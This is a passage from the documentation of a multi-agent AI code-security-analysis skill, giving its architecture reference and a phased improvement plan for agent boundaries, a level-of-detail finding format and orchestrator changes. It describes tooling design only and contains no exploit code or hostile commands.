- Ensure the project being analyzed is the current workspace

**Findings seem generic**
- Re-run with a focused scope: `/security-analyst:focused authentication`

## References

- [references/architecture.md](references/architecture.md) — Architecture, LOD system, agent design
- [references/constants.md](references/constants.md) — Paths, filenames, agent registry
- [references/plugins/README.md](references/plugins/README.md) — Plugin format and detection


path: references/architecture.md
content: # Security Analyst — Architecture Reference

**See `references/constants.md` for the authoritative registry** of all directory paths, output filenames (including reports under `reports/`), template files, agent registry, stages, recon step files, and placeholder variables. **See `references/platform-tools.md` for environment-specific tool mapping (Cursor, Claude Code, Codex) — required to prevent hangs on Cursor.**

## Directory Structure

Per the skill layout guide, the skill uses `references/` for documentation and `assets/` for templates:

```
security-analyst/
├── SKILL.md                              # Skill entry point (required)
├── references/
│   ├── architecture.md                  # This file
│   ├── constants.md                     # Paths, agent registry, templates
│   ├── skills-complete-guide.md        # Compliance reference (maintainers)
│   ├── plan-lod.md                      # Internal planning
│   ├── commands/                        # Entry points and orchestrator
│   │   ├── security-analyst.md          # Main orchestrator (interactive)
│   │   ├── full.md                      # Full analysis entry point
│   │   ├── focused.md                   # Focused analysis entry point
│   │   ├── recon.md                     # Recon-only entry point
│   │   ├── threat-model.md              # Threat model entry point
│   │   ├── variant-hunt.md              # Variant hunt entry point
│   │   ├── fix-plan.md                  # Fix plan entry point
│   │   ├── sbom.md                      # SBOM entry point
│   │   ├── diff.md                      # Delta report entry point
│   │   ├── compliance.md                # Compliance mapping entry point
│   │   ├── privacy.md                   # Privacy assessment entry point
│   │   └── security-analysis.md         # Plan-level security analysis
│   ├── prompts/                         # Agent prompt templates (25 files)
│   │   ├── recon-agent.md               # Phase 0: reconnaissance
│   │   ├── attack-surface-http.md        # Phase 1: HTTP entry points
│   │   ├── attack-surface-authz.md      # Phase 1: database/authz rules
│   │   └── ... (see constants.md)       # All agent prompts
│   └── plugins/                         # Framework-specific security checks
│       ├── README.md                    # Plugin format spec and instructions
│       └── *.md                         # 16 plugins (Firebase, React, etc.)
└── assets/
    └── templates/                       # Output format templates (10 files)
        ├── recon-report.md              # Recon LOD format definitions
        ├── finding.md                   # Individual finding format
        ├── agent-common.md              # Shared LOD output + incidental findings
        ├── group-report.md              # Per-stage report
        ├── final-report.md              # Final report structure
        ├── fix-plan.md                  # Fix plan structure
        ├── sbom-report.md               # Software Bill of Materials
        ├── compliance-report.md         # Compliance framework mapping
        ├── delta-report.md              # Delta report between runs
        └── privacy-report.md            # Privacy & data protection assessment
```

## Agent Design

All agents are `generalPurpose` subagents (need Bash, Read, Grep, Glob for code analysis and git history mining). Each agent:

1. Reads the recon index for LOD-0+1 overview, selectively reads LOD-2 step files for relevant sections
2. Reads prior stage findings (if applicable)
3. Performs its specialized analysis
4. Reports findings using the standard finding template
5. Reports incidental findings (IX-prefixed) for issues outside its focus area

### Key Principles

- **Offensive framing**: Every analysis starts with "If I were attacking this system..."
- **Concrete exploits**: Every Medium+ finding includes reproducible attack steps and PoC
- **Chain analysis**: Low findings that enable Medium findings that enable Critical exploits = Critical chain
- **Git history mining**: Past fixes often have incomplete variants
- **OWASP LLM Top 10**: Dedicated agent covers all 10 categories plus a mitigation verification pass
- **Framework plugins**: After recon, framework-specific plugins are auto-detected and injected into relevant agent prompts. 16 plugins available
- **Dynamic scoping**: Recon determines which agents to skip (no frontend agent for backend-only projects, no LLM agent for projects without AI)
- **Stage discipline**: Later stages depend on earlier findings; never start a stage early
- **Critic validation**: Adversarial review catches false positives before the final report

## Level of Detail (LOD) Architecture

Agent reports use a three-tier Level of Detail system to minimize context consumption across independent agent context windows:

| Level | Content | ~Tokens | Where it lives |
|---|---|---|---|
| LOD-0 | `ID \| Severity \| One sentence` | 30/finding | Agent return message, orchestrator context, `{PRIOR_FINDINGS_SUMMARY}` |
| LOD-1 | ID + title + severity + CVSS + CWE + file:line + paragraph | 100/finding | `{FINDINGS_DIR}/index.md`, terminal agent prompts |
| LOD-2 | Full finding with PoC, remediation, regression test | 800/finding | `{FINDINGS_DIR}/{FINDING-ID}.md`, read on demand |

**How it flows:**
1. Analysis agents write atomic LOD-2 files to `{FINDINGS_DIR}/` and return LOD-0 summaries
2. The orchestrator builds `{FINDINGS_DIR}/index.md` with LOD-0 + LOD-1 views
3. Next-stage agents receive LOD-0 in their prompt; selectively `Read` LOD-2 files for relevant findings
4. Terminal agents (exploit dev, critic, report writer) receive LOD-1 index; `Read` all LOD-2 files

This saves 80-96% of prompt tokens for downstream agents while preserving full detail on disk.

### Recon LOD Architecture

The recon report uses the same LOD architecture as findings:

| Level | Content | Where it lives |
|---|---|---|
| LOD-0 | `Step # \| Section Name \| Key facts` | `{RECON_DIR}/index.md` (top table) |
| LOD-1 | Key metric + key files + notable observations + details link | `{RECON_DIR}/index.md` (section briefs) |
| LOD-2 | Full tables with every file:line reference | `{RECON_DIR}/step-{NN}-{name}.md` |

**How it flows:**
1. 14 parallel recon agents each write one LOD-2 step file and return LOD-0+1 summaries
2. The orchestrator assembles `recon/index.md` with LOD-0 table + LOD-1 briefs
3. Downstream agents read the index, then selectively read relevant step files
4. Each downstream agent's prompt specifies which step files are most relevant

### Task-Driven Progress Tracking

All platforms use agents-only orchestration (no Teams). Agents are spawned via the Task tool with self-contained prompts and return results via the Task return value. On **Claude Code / Codex**, TaskCreate/TaskUpdate provide user-visible progress tracking — the orchestrator creates tasks before spawning and marks them completed after each agent returns. On **Cursor**, task tracking is not available (no TaskCreate/TaskList). See `references/platform-tools.md`.

## Context Budget Considerations

The LOD architecture mitigates most context pressure, but be aware:
- The LLM agent prompt (`attack-surface-llm.md`) is ~340 lines before plugin injection — the largest single prompt
- Terminal agents (exploit dev, critic, report writer) still read all LOD-2 files via tool calls; for runs with 40+ findings, consider batching reads
- Plugin sections add to every injected agent's context — keep plugins concise

## Adding New Agents

1. Create a prompt file in `references/prompts/` following the pattern of existing prompts
2. Use placeholders: `{RECON_INDEX_PATH}`, `{RECON_DIR}`, `{FINDING_TEMPLATE_PATH}`, `{PRIOR_FINDINGS_SUMMARY}`
3. Define a finding ID prefix (e.g., `NEW-XXX`)
4. Add the agent to the appropriate stage in `references/commands/security-analyst.md`

## Adding New Plugins

1. Create a `.md` file in `references/plugins/` (e.g., `spring-boot.md`)
2. Add YAML frontmatter with `name` and `detect` criteria (files, dependencies, keywords)
3. Add `## {agent-name}` sections with framework-specific security checks
4. The orchestrator auto-detects plugins after recon and injects matching sections into agent prompts
5. See `references/plugins/README.md` for the full format spec


path: references/plan-lod.md
content: ---
name: Security Analyst Improvements
overview: Reduce duplication of effort, implement a Level-of-Detail (LOD) report architecture to save context space across agent context windows, extract shared boilerplate, unify terminology, slim entry points, and add missing pieces.
todos:
  - id: phase-1-idor
    content: "Phase 1a: Add boundary directives to IDOR/AuthZ agents (attack-surface-http.md, attack-surface-authz.md, logic-authz-escalation.md)"
    status: pending
  - id: phase-1-rate
    content: "Phase 1b: Add rate-limiting deferral note to attack-surface-http.md"
    status: pending
  - id: phase-1-llm
    content: "Phase 1c: Add conditional LLM deferral to logic-pipeline-exploit.md and git-history-injections.md"
    status: pending
  - id: phase-1-critic
    content: "Phase 1d: Clarify self-check vs critic in exploit-developer.md"
    status: pending
  - id: phase-2-lod-templates
    content: "Phase 2a: Update templates/finding.md with LOD-0, LOD-1, LOD-2 format definitions"
    status: pending
  - id: phase-2-agent-common
    content: "Phase 2b: Create templates/agent-common.md with shared output instructions (LOD writing + incidental findings)"
    status: pending
  - id: phase-2-orchestrator
    content: "Phase 2c: Update orchestrator: add FINDINGS_DIR constant, LOD-aware spawning pattern, index builder, LOD-0 passing between groups"
    status: pending
  - id: phase-2-wave-template
    content: "Phase 2d: Update templates/wave-report.md to use LOD-0 table + atomic file references"
    status: pending
  - id: phase-2-prompts
    content: "Phase 2e: Update all 20 prompt files — replace incidental section with placeholder, replace output instructions with LOD-aware pattern"
    status: pending
  - id: phase-2-terminal
    content: "Phase 2f: Update exploit-developer.md, finding-critic.md, report-writer.md for LOD-aware input (LOD-1 index in prompt, LOD-2 via selective Read)"
    status: pending
  - id: phase-3-mapping
    content: "Phase 3a: Add Phase-to-Group mapping table and rename Wave->Group in security-analyst.md"
    status: pending
  - id: phase-3-skill
    content: "Phase 3b: Update SKILL.md wave references to Group"
    status: pending
  - id: phase-3-full
    content: "Phase 3c: Update full.md wave references to Group"
    status: pending
  - id: phase-4-slim-full
    content: "Phase 4a: Slim full.md to ~20 lines"
    status: pending
  - id: phase-4-slim-recon
    content: "Phase 4b: Slim recon.md to ~20 lines"
    status: pending
  - id: phase-5-threat
    content: "Phase 5a: Create prompts/threat-model-agent.md and update threat-model.md to use it"
    status: pending
  - id: phase-5-dedup
    content: "Phase 5b: Add deduplication guidance with known overlap areas to security-analyst.md"
    status: pending
  - id: phase-5-plugin
    content: "Phase 5c: Add plugin conflict guidance to plugins/README.md"
    status: pending
  - id: phase-6-skill
    content: "Phase 6: Update SKILL.md — directory listing, LOD architecture docs, context budget note"
    status: pending
isProject: false
---

# Security Analyst Suite Improvements

## Scope

All edits within `.claude/skills/security-analyst/`. Two major themes:

1. **Reduce duplication** -- clarify agent boundaries so overlapping agents defer rather than re-analyze
2. **LOD architecture** -- agents write atomic findings to disk and return one-line summaries, saving 80-96% of context space in orchestrator and downstream agent prompts

---

## Phase 1: Clarify Agent Boundaries (eliminate redundant analysis)

Adds 2-5 lines of boundary directives to overlapping agents so they know what to analyze vs. defer. No structural changes.

### 1a. IDOR/AuthZ overlap (3 agents doing the same IDOR check)

**[prompts/attack-surface-http.md](prompts/attack-surface-http.md)** -- Replace the deep IDOR sub-task (lines 44-46) in the "For EACH authenticated endpoint" section with a lightweight flag-and-defer:

```markdown
3. **Authorization / IDOR (flag only)**: Note whether the endpoint verifies caller ownership of the requested resource. Do NOT perform deep IDOR analysis here — the dedicated `logic-authz-escalation` agent (Group 2) will trace every authorization decision in depth. Flag endpoints where ownership checks appear missing as "IDOR-suspect" for Group 2 to investigate.
```

**[prompts/attack-surface-authz.md](prompts/attack-surface-authz.md)** -- Remove Task 6 ("Business Logic Authorization") entirely (lines 53-59). Replace with a deferral note:

```markdown
### Task 6: Server-Side Authorization (deferred)

Server-side function authorization (ownership checks, tier enforcement, cross-endpoint bypass) is analyzed in depth by the `logic-authz-escalation` agent in Group 2. Focus here on database/rules-level authorization only.
```

**[prompts/logic-authz-escalation.md](prompts/logic-authz-escalation.md)** -- Add a note at the top of the Analysis Tasks section:

```markdown
**Note:** Group 1's HTTP and AuthZ agents flag "IDOR-suspect" endpoints and database-level authorization gaps. Read their findings from `{PRIOR_FINDINGS_SUMMARY}` (LOD-0 summaries) and `Read` the relevant LOD-2 finding files to deepen the analysis on flagged endpoints rather than re-scanning from scratch.
```

### 1b. Rate limiting / DoS overlap

**[prompts/attack-surface-http.md](prompts/attack-surface-http.md)** -- In the rate limiting sub-tasks (items 5 and 6), add:

```markdown
Note: Flag rate limiting gaps for the `logic-dos` agent (Group 2) to assess amplification impact. Do not estimate attacker-vs-defender cost here.
```

### 1c. LLM/AI overlap (3 agents covering prompt injection)

**[prompts/logic-pipeline-exploit.md](prompts/logic-pipeline-exploit.md)** -- Rewrite Task 3 (lines 40-48) to defer:

```markdown
### Task 3: AI/ML Manipulation (defer to dedicated agent if present)

If a dedicated `attack-surface-llm` agent ran in Group 1, read its LOD-0 findings from `{PRIOR_FINDINGS_SUMMARY}` and `Read` the relevant LOD-2 finding files. Focus on:
- How AI output flows through the **pipeline** into decisions and actions (downstream impact)
- Whether pipeline validation catches malformed AI output
- Do NOT re-analyze prompt injection or OWASP LLM categories -- those are covered by the LLM agent

If NO LLM agent ran (e.g., focused mode without AI scope), perform the full AI analysis:
1. Read the AI integration code...
(keep existing sub-points as fallback)
```

**[prompts/git-history-injections.md](prompts/git-history-injections.md)** -- Rewrite the "AI/Prompt Injection Variants" sub-section (lines 60-64) to defer:

```markdown
**AI/Prompt Injection Variants (defer if LLM agent active):**
- If the `attack-surface-llm` agent is running in this execution group, defer AI/prompt injection analysis to it — it covers OWASP LLM01 in depth
- Only analyze AI injection here if the LLM agent was skipped (no AI integration detected by recon) but you discover AI-adjacent patterns in git history
```

### 1d. Exploit Developer vs Finding Critic verification overlap

**[prompts/exploit-developer.md](prompts/exploit-developer.md)** -- Rewrite Task 4.5 header (line 79):

```markdown
### Task 4.5: Self-Check (pre-critic sanity pass)

Before writing findings to disk, do a quick self-check on each fix. This is NOT a substitute for the critic agent's thorough review — it catches obvious issues so the critic can focus on deeper validation.

1. Read the surrounding code context (10 lines above and below)
2. Quick check: does the fix obviously break callers or introduce a new vuln?
3. Quick check: does the fix follow the project's existing patterns?
4. If you find an obvious issue, revise the fix. Note "self-revised" in the finding.
```

---

## Phase 2: LOD Architecture + Shared Boilerplate

This is the core architectural change. Agents write atomic finding files to disk and return only LOD-0 summaries. The orchestrator builds an index and passes LOD-0 to downstream agents, who selectively `Read` LOD-2 files from disk when they need full detail.

### Context savings model

Each sub-agent and the orchestrator manage independent context windows. Currently, full findings text (~800 tokens each) gets injected into every downstream agent's prompt AND accumulates in the orchestrator's context. With LOD:


| Context Window                  | Before (25 findings)  | After (LOD)                               | Savings       |
| ------------------------------- | --------------------- | ----------------------------------------- | ------------- |
| Orchestrator (across 23 agents) | ~20K tok accumulated  | ~750 tok (LOD-0 returns)                  | 96%           |
| Each Group 2 agent prompt (x4)  | ~20K tok injected     | ~750 tok (LOD-0) + selective reads        | 81%           |
| Each Group 3 agent prompt (x4)  | ~30K tok injected     | ~1.2K tok + selective reads               | 90%           |
| Exploit dev / critic prompt     | ~30K tok all findings | ~2.5K tok (LOD-1 index) + selective reads | 87% on prompt |


Agents that need full detail (exploit dev, critic, report writer) still consume it via `Read` tool calls. The key difference: prompt injection consumes tokens upfront and limits the agent's working space; tool-based reading is incremental and selective.

### LOD level definitions


| Level | Content                                                                        | ~Tokens/finding | When to use                              |
| ----- | ------------------------------------------------------------------------------ | --------------- | ---------------------------------------- |
| LOD-0 | `ID                                                                            | Severity        | One-sentence summary`                    |
| LOD-1 | ID + title + severity + CVSS + CWE + ATT&CK + file:line + one paragraph        | 100             | Exploit dev/critic triage, finding index |
| LOD-2 | Full finding: attack steps, PoC, exploit scoring, remediation, regression test | 800             | Atomic file on disk, read on demand      |


### 2a. Update finding template with LOD format definitions

**[templates/finding.md](templates/finding.md)** -- Add a new section at the top, before the existing "Individual Finding" section:

```markdown
# Finding Report Format — Level of Detail (LOD)

Findings are written as **atomic files** to `{FINDINGS_DIR}/`. Each file contains the full LOD-2 finding. Agents return LOD-0 summaries to the orchestrator. The orchestrator builds an index with LOD-0 and LOD-1 views.

## LOD-0: One-Line Summary (returned to orchestrator)

Format: `| [FINDING-ID] | [Severity] | [One-sentence description] |`

Example: `| P1-HTTP-001 | High | Unauthenticated webhook endpoint allows attacker to enqueue arbitrary processing tasks |`

## LOD-1: Finding Brief (for index file)

    ### [FINDING-ID]: [Title]
    **Severity:** [S] | **CVSS:** [Score] | **CWE:** [ID] | **ATT&CK:** [TID] | **File:** [path:line]
    [One-paragraph description of the vulnerability and its impact]

## LOD-2: Full Finding (atomic file on disk)
```

Then keep the existing full finding format (everything currently in the file) as the LOD-2 definition. The existing content is unchanged, just reframed as "LOD-2".

### 2b. Create shared agent output template

**Create [templates/agent-common.md](templates/agent-common.md):**

```markdown
# Shared Agent Output Instructions

## Finding Output (LOD Architecture)

For each finding you discover:

1. **Write the atomic finding file** to `{FINDINGS_DIR}/{FINDING-ID}.md` using the LOD-2 format from `{FINDING_TEMPLATE_PATH}`
2. **Build your LOD-0 summary table** — one row per finding: `| [ID] | [Severity] | [One-sentence summary] |`

When you are done with all analysis, return ONLY the following to the orchestrator:

```

## Agent: {AGENT_NAME}

**Endpoints/items analyzed:** [count]
**Findings:** [count] ([severity breakdown])

### LOD-0 Summary


| ID          | Severity | Summary        |
| ----------- | -------- | -------------- |
| P1-HTTP-001 | High     | [one sentence] |
| P1-HTTP-002 | Medium   | [one sentence] |


### IDOR-Suspect Endpoints (if applicable)

[list of endpoints flagged for Group 2 deep dive]

### Incidental Findings

[IX-prefixed findings in abbreviated format]

```

Do NOT send full finding details in your return message. They are on disk.

## Reading Prior Findings

Your `{PRIOR_FINDINGS_SUMMARY}` contains LOD-0 summaries from earlier execution groups. If you need full detail on a specific finding:

1. Note the finding ID from the LOD-0 table
2. `Read` the file at `{FINDINGS_DIR}/{FINDING-ID}.md` for the full LOD-2 content
3. Only read findings relevant to your analysis — do not read all of them

## Incidental Findings

While performing your primary analysis, you may discover security issues OUTSIDE your focus area:

- Use finding ID prefix `IX-{AGENT_PREFIX}-XXX` (IX = incidental)
- Use abbreviated format (severity, file:line, one-paragraph description, ATT&CK technique if obvious)
- Do NOT write atomic files for incidentals — include them in your return message only
- Do NOT let incidental findings distract from your primary analysis
```

### 2c. Update orchestrator for LOD

**[security-analyst.md](security-analyst.md)** -- Multiple edits:

**Constants block (line 38)** -- add:

```markdown
FINDINGS_DIR = {RUN_DIR}/findings
FINDINGS_INDEX = {FINDINGS_DIR}/index.md
```

**Step 1 (line 58)** -- add to mkdir:

```markdown
Bash: mkdir -p {RUN_DIR} {FINDINGS_DIR}
```

**Agent Spawning Pattern (line 293)** -- replace the current pattern with LOD-aware version:

```markdown
## Agent Spawning Pattern

For each agent, the spawning pattern is:

1. Read the prompt template: Read {PROMPTS_DIR}/{prompt-file}.md
2. Read the finding template: Read {TEMPLATES_DIR}/finding.md
3. Read the shared output template: Read {TEMPLATES_DIR}/agent-common.md
   - Replace {AGENT_PREFIX} with the agent's finding ID prefix (e.g., HTTP, AUTHZ, INJ)
   - Replace {AGENT_NAME} with the agent's display name
4. Collect plugin sections (same as before — see Step 3.5)
5. Construct the prompt by replacing ALL placeholders:
   - {RECON_REPORT_PATH}, {FINDING_TEMPLATE_PATH}, {PRIOR_FINDINGS_SUMMARY}, {PLUGIN_CHECKS} (existing)
   - {FINDINGS_DIR} → absolute path to findings directory (NEW)
   - {INCIDENTAL_FINDINGS_SECTION} → content from agent-common.md (NEW)
   - Append the agent-common.md output instructions to the end of the prompt
6. Spawn: Task tool (same as before)
7. Receive the agent's LOD-0 summary return message (small — no full findings)
```

**Consolidation Between Waves (line 283)** -- rewrite for LOD:

```markdown
## Consolidation Between Execution Groups

After each execution group:
1. Collect LOD-0 summary tables from all agents in the group
2. Read `{FINDINGS_DIR}/` to verify atomic finding files were written
3. Deduplicate: if two agents wrote findings for the same vulnerability, keep the more detailed LOD-2 file and delete the other. Update LOD-0 tables accordingly
4. Build/update `{FINDINGS_INDEX}`:
   - **LOD-0 section**: Concatenated LOD-0 tables from all groups so far
   - **LOD-1 section**: For each finding, read its LOD-2 file and extract the LOD-1 brief (first 5 lines: ID, title, severity, CVSS, CWE, ATT&CK, file:line, one-paragraph)
5. Enrich: add cross-references between related findings in the index
6. Prepare `{PRIOR_FINDINGS_SUMMARY}` for next group: the LOD-0 table only, plus `{FINDINGS_DIR}` path for selective reading
7. Collect incidental findings (IX-prefixed) from agent return messages
8. Write the execution group report using `{WAVE_REPORT_TEMPLATE}`
```

**Known Overlap Areas** -- add after Consolidation (new section from Phase 5b, placed here since it's part of consolidation):

```markdown
### Known Overlap Areas

When deduplicating between execution groups, pay special attention to:

- **IDOR/AuthZ**: Group 1's HTTP and AuthZ agents flag suspect endpoints (shallow). Group 2's authz-escalation agent deepens the analysis (LOD-2). Merge by keeping the deeper Group 2 findings and removing Group 1 flags that were fully investigated.
- **Rate limiting/DoS**: Group 1's HTTP agent flags missing rate limits. Group 2's DoS agent assesses amplification and cost. Merge by promoting the DoS agent's finding and removing the HTTP agent's bare flag.
- **AI/LLM**: Group 1's LLM agent covers OWASP categories. Group 2's pipeline agent covers downstream pipeline impact. These are complementary — keep both, cross-reference in the index.
```

### 2d. Update wave report template

**[templates/wave-report.md](templates/wave-report.md)** -- Replace `{WAVE_FINDINGS}` inline block with LOD-0 table + references:

```markdown
## Findings

### Summary (LOD-0)

| ID | Severity | Summary |
|----|----------|---------|
{LOD0_TABLE}

### Finding Details

Full LOD-2 findings are in `{FINDINGS_DIR}/`. To read any finding: `Read {FINDINGS_DIR}/{FINDING-ID}.md`

{IX_FINDINGS}
```

### 2e. Update all 20 prompt files

In each prompt file under `prompts/`, make two changes:

1. **Replace the "Incidental Findings" section** (last ~6 lines of every file) with:

```markdown
{INCIDENTAL_FINDINGS_SECTION}
```

1. **Replace the "Output Format" / "Send your findings" section** with a reference to the shared output template:

```markdown
## Output

Follow the LOD output instructions appended to this prompt. Write each finding as an atomic LOD-2 file to `{FINDINGS_DIR}/{FINDING-ID}.md`. Return only your LOD-0 summary table to the orchestrator.

Finding IDs: Use prefix `{PHASE_PREFIX}` (e.g., P1-HTTP-XXX, P2-INJ-XXX, etc.)
```

The `{PHASE_PREFIX}` values remain the same as currently defined in each prompt. Only the output mechanics change.

### 2f. Update terminal agents for LOD-aware input

These agents consume ALL findings rather than a subset, so they need LOD-1 in their prompt and selective LOD-2 reads.

**[prompts/exploit-developer.md](prompts/exploit-developer.md)** -- Update "Your Inputs" section:

```markdown
## Your Inputs

1. **Recon Report**: Read `{RECON_REPORT_PATH}` for project context
2. **Finding Index**: `{ALL_FINDINGS}` contains the LOD-1 briefs for every Medium+ finding from Groups 1-3
3. **Atomic Finding Files**: Full LOD-2 details are in `{FINDINGS_DIR}/`. For each finding you develop an exploit for, `Read {FINDINGS_DIR}/{FINDING-ID}.md` to get attack steps, affected code, and context
4. **Finding Template**: Follow the format in `{FINDING_TEMPLATE_PATH}`
```

And update Task 1 (Triage) to work from LOD-1:

```markdown
### Task 1: Triage Findings

Review the LOD-1 index from `{ALL_FINDINGS}`:
1. Sort by severity (Critical > High > Medium)
2. Group related findings (same component, same attack surface, same root cause)
3. Identify findings that might chain together
4. For each finding you will develop: `Read {FINDINGS_DIR}/{FINDING-ID}.md` for full LOD-2 context
```

**[prompts/finding-critic.md](prompts/finding-critic.md)** -- Same pattern. Update inputs:

```markdown
2. **Exploit Catalog**: `{ALL_FINDINGS}` contains LOD-1 briefs for all findings from Groups 1-4 with PoCs
3. **Atomic Finding Files**: Full LOD-2 details in `{FINDINGS_DIR}/`. `Read` each finding file to verify exploitability against source code
```

**[prompts/report-writer.md](prompts/report-writer.md)** -- Same pattern. Update inputs:

```markdown
2. **Validated Findings**: `{ALL_FINDINGS}` contains LOD-1 briefs for all critic-validated findings
3. **Atomic Finding Files**: Full LOD-2 details in `{FINDINGS_DIR}/`. `Read` each finding for the final report
```

---

## Phase 3: Unify Phase/Wave Terminology

Phase numbers are embedded in finding IDs (`P1-HTTP`, `P2-INJ`, `P5-DEP`, `P6-CFG`) across all prompts and cannot change. Waves are only referenced in the orchestrator and entry points. Strategy: keep Phase numbers; rename "Wave" to "Execution Group" in the orchestrator and add a mapping table.

### 3a. Add mapping table to orchestrator

**[security-analyst.md](security-analyst.md)** -- Add after the "Constants" block:

```markdown
### Phase-to-Execution-Group Mapping

Phases are the logical analysis categories (and determine finding ID prefixes). Execution Groups are how phases are scheduled (dependency-ordered).

| Execution Group | Phases Included | Why Grouped |
|----------------|----------------|-------------|
| Group 0 | Phase 0 (Recon) | Must complete before all others |
| Group 1 | Phases 1, 2, 5, 6 | Independent; no cross-dependencies |
| Group 2 | Phase 3 (Business Logic) | Needs Group 1 findings |
| Group 3 | Phase 4 (Data Flow) | Needs Groups 1+2 findings |
| Group 4 | Phase 7 (Exploits) | Needs all prior findings |
| Group 4.5 | Phase 7.5 (Critic) | Needs exploit catalog |
| Group 5 | Phase 8 (Report) | Needs validated findings |
| Post | Phase 9 (Fix Plan) | Needs final report |
```

Then rename all "WAVE N" headers in Steps 2-8.5 to "EXECUTION GROUP N". Find-and-replace "WAVE" -> "EXECUTION GROUP" in 8 section headers.

### 3b. Update SKILL.md wave references

**[SKILL.md](SKILL.md)** -- In the "Wave-Based Pipeline" diagram (lines 36-67), rename "Wave" to "Group" and add: "Groups are execution-order groupings of phases. Finding IDs use Phase numbers (P1-P9)."

### 3c. Update full.md wave references

**[full.md](full.md)** -- Rename "Wave" to "Group" in the step list (lines 26-33).

---

## Phase 4: Slim Redundant Entry Points

### 4a. Slim full.md

**[full.md](full.md)** -- Replace the current 52-line file with a ~20-line version:

```markdown
---
description: "Complete 9-phase offensive security analysis. No prompts — runs everything."
model: opus
---

# Security Analyst — Full Analysis

Run the complete analysis with no interactive prompts.

**Settings:**
- Scope: Full — all phases, all attack surfaces
- Output: Files to `docs/security/runs/{YYYY-MM-DD-HHMMSS}/`
- Agent skipping: Only if recon determines irrelevance (e.g., no frontend)

**Execution:** Follow the orchestration flow in `security-analyst.md` with these settings.

**Output files:** See `security-analyst.md` Step 9 for the full file list.

**Expected duration:** 23+ agents across 6 execution groups. Significant processing time.
```

### 4b. Slim recon.md

**[recon.md](recon.md)** -- Replace with ~20-line version:

```markdown
---
description: "Quick security reconnaissance — maps attack surface without vulnerability analysis."
model: opus
---

# Security Analyst — Reconnaissance Only

Run Phase 0 only. Produces a structured security map without vulnerability analysis.

**Execution:** Follow `security-analyst.md` Steps 1-2 (create run dir, spawn recon agent). Stop after recon completes.

**Output:** `docs/security/runs/{YYYY-MM-DD-HHMMSS}/recon-report.md`

**Next steps:** `/security-analyst:full` for complete analysis, `/security-analyst:focused [component]` to target a specific area.
```

---

## Phase 5: Add Missing Pieces

### 5a. Create threat-model agent prompt

**Create [prompts/threat-model-agent.md**](prompts/threat-model-agent.md) (~80-100 lines):

- Accept `{RECON_REPORT_PATH}` and `{OUTPUT_PATH}` as inputs
- Task 1: STRIDE analysis for each trust boundary from the recon report
- Task 2: Attack trees for each crown jewel (root = "Compromise X", branches = attack paths)
- Task 3: Risk matrix (likelihood x impact for each threat)
- Output: Write `{OUTPUT_PATH}` (threat-model.md)
- Use the same offensive framing as other agents
- Follows LOD output conventions for any findings discovered during threat modeling

Update **[threat-model.md](threat-model.md)** execution step 3 to spawn this agent via Task tool.

### 5b. Add plugin conflict guidance

**[plugins/README.md](plugins/README.md)** -- Add a new section after "Creating a New Plugin":

```markdown
## Plugin Overlap and Conflicts

When multiple plugins inject sections for the same agent (e.g., both Next.js and React inject `## attack-surface-frontend`), the orchestrator concatenates all matching sections. Agents should:

- Treat multiple plugin sections as **complementary** checks — run all of them
- If checks conflict, prefer the **more specific** plugin (e.g., Next.js over React for Next.js projects)
- Report the plugin source in findings so the orchestrator can trace which plugin triggered the check
```

---

## Phase 6: Update SKILL.md

**[SKILL.md](SKILL.md)** -- Three additions:

### 6a. Update directory listing (lines 149-195) to include:

- `templates/agent-common.md` (shared LOD output + incidental findings instructions)
- `prompts/threat-model-agent.md`

### 6b. Add LOD architecture documentation after "Key Principles":

```markdown
### Level of Detail (LOD) Architecture

Agent reports use a three-tier Level of Detail system to minimize context consumption across independent agent context windows:

| Level | Content | ~Tokens | Where it lives |
|---|---|---|---|
| LOD-0 | `ID \| Severity \| One sentence` | 30/finding | Agent return message, orchestrator context, `{PRIOR_FINDINGS_SUMMARY}` |
| LOD-1 | ID + title + severity + CVSS + CWE + file:line + paragraph | 100/finding | `{FINDINGS_DIR}/index.md`, terminal agent prompts |
| LOD-2 | Full finding with PoC, remediation, regression test | 800/finding | `{FINDINGS_DIR}/{FINDING-ID}.md`, read on demand |

**How it flows:**
1. Analysis agents write atomic LOD-2 files to `{FINDINGS_DIR}/` and return LOD-0 summaries
2. The orchestrator builds `{FINDINGS_DIR}/index.md` with LOD-0 + LOD-1 views
3. Next-group agents receive LOD-0 in their prompt; selectively `Read` LOD-2 files for relevant findings
4. Terminal agents (exploit dev, critic, report writer) receive LOD-1 index; `Read` all LOD-2 files

This saves 80-96% of prompt tokens for downstream agents while preserving full detail on disk.
```

### 6c. Add context budget note (replaces the simpler version from old Phase 5d):

```markdown
### Context Budget Considerations

The LOD architecture mitigates most context pressure, but be aware:
- The LLM agent prompt (`attack-surface-llm.md`) is ~340 lines before plugin injection — the largest single prompt
- Terminal agents (exploit dev, critic, report writer) still read all LOD-2 files via tool calls; for runs with 40+ findings, consider batching reads
- Plugin sections add to every injected agent's context — keep plugins concise
```

---

## Disk Structure After Changes

```
{RUN_DIR}/
├── findings/                         # NEW: atomic LOD-2 finding files
│   ├── index.md                      # NEW: LOD-0 table + LOD-1 briefs (built by orchestrator)
│   ├── P1-HTTP-001.md               # Written by surface-http agent
│   ├── P1-HTTP-002.md
│   ├── P2-INJ-001.md               # Written by history-injections agent
│   └── ...
├── recon-report.md                   # Unchanged
├── group-1-attack-surface.md        # RENAMED from wave-1, now contains LOD-0 table + refs
├── group-2-business-logic.md        # RENAMED from wave-2
├── group-3-data-flow.md             # RENAMED from wave-3
├── group-4-exploits.md              # RENAMED from wave-4
├── group-4.5-critic-review.md       # RENAMED from wave-4.5
├── security-analyst-final-report.md          # RENAMED from wave-5
├── fix-plan.md                       # Unchanged
└── threat-model.md                   # If threat-model mode used
```

---

## Files Changed Summary


| File                                | Change Type                                                                  | Phase      |
| ----------------------------------- | ---------------------------------------------------------------------------- | ---------- |
| `prompts/attack-surface-http.md`    | Edit (boundary directives + LOD output)                                      | 1a, 1b, 2e |
| `prompts/attack-surface-authz.md`   | Edit (remove Task 6 + LOD output)                                            | 1a, 2e     |
| `prompts/logic-authz-escalation.md` | Edit (prior-findings note + LOD output)                                      | 1a, 2e     |
| `prompts/logic-pipeline-exploit.md` | Edit (conditional defer + LOD output)                                        | 1c, 2e     |
| `prompts/git-history-injections.md` | Edit (defer AI injection + LOD output)                                       | 1c, 2e     |
| `prompts/exploit-developer.md`      | Edit (self-check clarify + LOD input)                                        | 1d, 2f     |
| `prompts/finding-critic.md`         | Edit (LOD-aware input)                                                       | 2f         |
| `prompts/report-writer.md`          | Edit (LOD-aware input)                                                       | 2f         |
